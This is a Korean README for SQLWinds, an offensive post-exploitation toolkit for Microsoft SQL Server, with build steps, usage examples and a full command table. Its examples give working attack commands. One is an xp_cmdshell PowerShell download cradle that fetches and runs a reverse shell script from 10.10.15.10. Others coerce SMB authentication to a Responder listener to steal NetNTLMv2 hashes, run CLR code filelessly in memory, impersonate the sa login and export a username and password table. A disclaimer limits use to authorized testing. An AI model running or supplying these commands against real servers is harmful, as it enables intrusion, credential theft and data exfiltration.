
SQLWinds - SQL Server 보안 평가 및 사후 침투 툴킷
SQL 보안 평가 및 사후 침투 도구 키트
SQLWinds는 Microsoft SQL Server의 보안 테스트와 익스플로잇을 위한 명령줄 도구입니다. 서버를 심층 분석하고, 권한을 상승시키고, 공격을 실행하고, 네트워크를 통해 피벗할 수 있는 대화형 환경을 제공하며, 인메모리 코드 실행 및 SCCM 데이터베이스 탐색과 같은 작업을 위한 특화된 명령을 포함합니다.
빠른 링크:
--integrated), Kerberos 위임(--kerberos와 --user/--pass)을 지원합니다.xp_cmdshell, OLE Automation Procedures(sp_oacreate) 및 CLR 통합을 활성화하고 사용.:memclr).:unc_smb).xp_regread를 통해 레지스트리 키와 값을 읽기.리포지토리에는 Windows에서 쉽게 컴파일할 수 있는 build.bat 스크립트가 포함되어 있습니다:
.\build.bat
컴파일된 SQLWinds.exe 실행 파일은 bin\Release\ 디렉터리에 배치됩니다.
git clone https://github.com/blue0x1/sqlwinds.git
cd sqlwinds
msbuild SQLWinds.sln /p:Configuration=Release
# SQL Authentication
SQLWinds.exe --server TARGET\\INSTANCE --user sa --pass Password123
# Windows Authentication (Current User Context)
SQLWinds.exe --server sql01.corp.local --integrated
# Kerberos Delegation (with provided credentials)
SQLWinds.exe --server sql01.prod.corp.local --kerberos --user CORP\\svc_sql --pass SvcPass123!
# Connect and run a single command
SQLWinds.exe --server 10.0.0.5 --user sa --pass pass --run-cmd "SELECT name FROM sys.databases"
sqlwinds> :info
sqlwinds> :dbs
sqlwinds> :users
sqlwinds> :enable_xp_cmdshell
sqlwinds> :xp whoami
sqlwinds> :spn
sqlwinds> help
:plain으로 대용량 스크립트 사용:plain 명령은 대용량 다중 라인 SQL 스크립트를 실행하는 데 필수적입니다.
sqlwinds> :plain
SQL>
SQL> BEGIN TRY
.....> SELECT * FROM [VeryImportantTable];
.....> EXEC sp_configure 'show advanced options', 1;
.....> RECONFIGURE;
.....> END TRY
.....> BEGIN CATCH
.....> SELECT ERROR_MESSAGE();
.....> END CATCH
.....> :execute
:plain을 입력하고 Enter 키를 누릅니다.:execute를 입력하면 전체 스크립트가 실행되고, :cancel을 입력하면 중단됩니다.1. 감사
SQLWinds.exe --server dc01 --integrated --security-audit
2. 코드 실행을 위한 xp_cmdshell 활용
SQLWinds.exe --server 192.168.1.15 --user sa --pass pass --enable-xp-cmdshell
# In the REPL that opens:
sqlwinds> :xp whoami /all
sqlwinds> :xp powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.10/revshell.ps1')"
3. 인메모리 CLR 실행(파일리스)
# Compile your .NET assembly to a DLL (e.g., CommandExecutor.dll)
sqlwinds> :enable_clr
sqlwinds> :memclr "C:\Tools\CommandExecutor.dll" "CommandExecutor.Class1" "Exec" "whoami"
4. SRelay를 통한 NetNTLMv2 해시 탈취
# On your machine: sudo responder -I tun0
sqlwinds> :unc_smb \\10.10.15.10\fake_share
5. SCCM 데이터베이스 익스플로잇
SQLWinds.exe --server sccmdb.corp.local --integrated
sqlwinds> :sccm_info
sqlwinds> :sccm_collections
sqlwinds> :sccm_application "Microsoft 365"
6. 데이터 유출
# Export sensitive data to CSV
sqlwinds> :exportcsv "SELECT username, password FROM users" credentials.csv
# Download a file stored in the database
sqlwinds> :download "SELECT file_data FROM documents WHERE id=1" secret.docx
기여를 환영합니다! 개선 아이디어가 있거나 문제를 발견한 경우:
이 도구는 공인된 보안 테스트 및 교육 목적으로만 사용해야 합니다. 소유하지 않았거나 테스트를 위한 명시적 허가를 받지 않은 시스템에 대한 무단 사용은 불법입니다. 개발자는 이 프로그램으로 인해 발생하는 오용이나 손해에 대해 책임을 지지 않으며 어떠한 책임도 부담하지 않습니다.
blue0x1이(가) 개발했습니다.
| Option | Description |
|---|
--server | 대상 서버(IP, 호스트 이름, 인스턴스). 필수. |
--user, --pass | SQL 또는 Windows 인증용 자격 증명. |
--integrated | 인증에 현재 Windows 토큰 사용. |
--kerberos | Kerberos 인증 흐름 사용. |
--spn-check | 대상 호스트의 SPN을 AD에서 확인. |
--run-cmd "<SQL>" | 단일 SQL 명령을 실행하고 종료. |
--run-file file.sql | 파일에서 SQL 스크립트를 실행하고 종료. |
--info | 광범위한 서버 정보를 수집하여 표시. |
--getinstance | 도메인에서 SQL 인스턴스를 검색하고 종료. |
--list-dbs | 데이터베이스를 나열하고 종료. |
--security-audit | 보안 감사를 수행하고 종료. |
| Command | Description | Example |
|---|
:info | 서버에 대한 상세 정보 표시 | :info |
:dbs | 모든 데이터베이스를 세부 정보와 함께 나열 | :dbs |
:tables [db] [schema] | 데이터베이스/스키마의 테이블 나열 | :tables master dbo |
:columns <table> [schema] [db] | 테이블의 열 나열 | :columns Users dbo MyDatabase |
:users | 모든 SQL 로그인 및 데이터베이스 사용자 나열 | :users |
:perms | 현재 사용자 권한 표시 | :perms |
:audit | 보안 구성 감사 수행 | :audit |
:search [term] | 민감한 데이터 검색 | :search password |
:secrets | 잠재적인 비밀 정보 추출 | :secrets |
:services | SQL Server 서비스 계정 표시 | :services |
:spn | 대상 호스트의 SPN 확인 | :spn |
:enable_xp_cmdshell | xp_cmdshell 활성화 | :enable_xp_cmdshell |
:disable_xp_cmdshell | xp_cmdshell 비활성화 | :disable_xp_cmdshell |
:xp <command> | xp_cmdshell을 통해 OS 명령 실행 | :xp whoami |
:enable_ole | OLE Automation 활성화 | :enable_ole |
:disable_ole | OLE Automation 비활성화 | :disable_ole |
:ole_cmd <command> | OLE를 통해 OS 명령 실행 | :ole_cmd "calc.exe" |
:enable_clr | CLR 통합 활성화 | :enable_clr |
:disable_clr | CLR 통합 비활성화 | :disable_clr |
:deploy-clr <path> | 파일에서 CLR 어셈블리 배포 | :deploy-clr C:\Tools\cmd.dll |
:list-assemblies | 배포된 CLR 어셈블리 나열 | :list-assemblies |
:clr_exec | CLR 메서드 실행 | :clr_exec MyAssembly MyClass Method arg1 |
:memclr | 메모리에서 CLR 어셈블리 실행 | :memclr "C:\Tools\exec.dll" "Namespace.Class" "Method" "arg" |
:remove-assembly <name> | CLR 어셈블리 제거 | :remove-assembly MyAssembly |
:list_linkservers | 연결된 서버 나열 | :list_linkservers |
:linkrpc <srv> <cmd> | 연결된 서버를 통해 명령 실행 | :linkrpc LINKEDSRV "whoami" |
:impersonate <login> | SQL 로그인 가장 | :impersonate sa |
:revert | 보안 컨텍스트 되돌리기 | :revert |
:agent_job | SQL 에이전트 작업 관리 | :agent_job create MyJob "whoami" |
:ls [path] | SQL을 통해 디렉터리 나열 | :ls C:\Windows\Temp |
:unc_smb <path> | UNC로 SMB 인증 강제 | :unc_smb \\192.168.1.100\share |
:plain | 대용량 SQL 스크립트 붙여넣기 | (아래 예시 참조) |
:regread | 레지스트리 값 읽기 | :regread HKEY_LOCAL_MACHINE Software\Microsoft value |
:regread_all | 키의 모든 값 나열 | :regread_all HKEY_LOCAL_MACHINE Software\Microsoft |
:upload | 테이블에 파일 업로드 | :upload C:\file.txt MyTable |
:download | 쿼리에서 바이너리 다운로드 | :download "SELECT file FROM blobs" out.bin |
:exportcsv | 쿼리를 CSV로 내보내기 | :exportcsv "SELECT * FROM users" out.csv |
:exportjson | 쿼리를 JSON으로 내보내기 | :exportjson "SELECT * FROM users" out.json |
:sccm_info | SCCM 데이터베이스 감지 | :sccm_info |
:sccm_inventory | SCCM 인벤토리 표시 | :sccm_inventory |
:sccm_collections | SCCM 컬렉션 나열 | :sccm_collections "All Systems" |
:sccm_deployments | 배포 표시 | :sccm_deployments |
:sccm_clients | 클라이언트 나열 | :sccm_clients inactive |
:sccm_audit | SCCM 보안 감사 | :sccm_audit |
:sccm_application | 앱 세부 정보 표시 | :sccm_application "Google Chrome" |
help | 도움말 표시 | help |
exit | REPL 종료 | exit |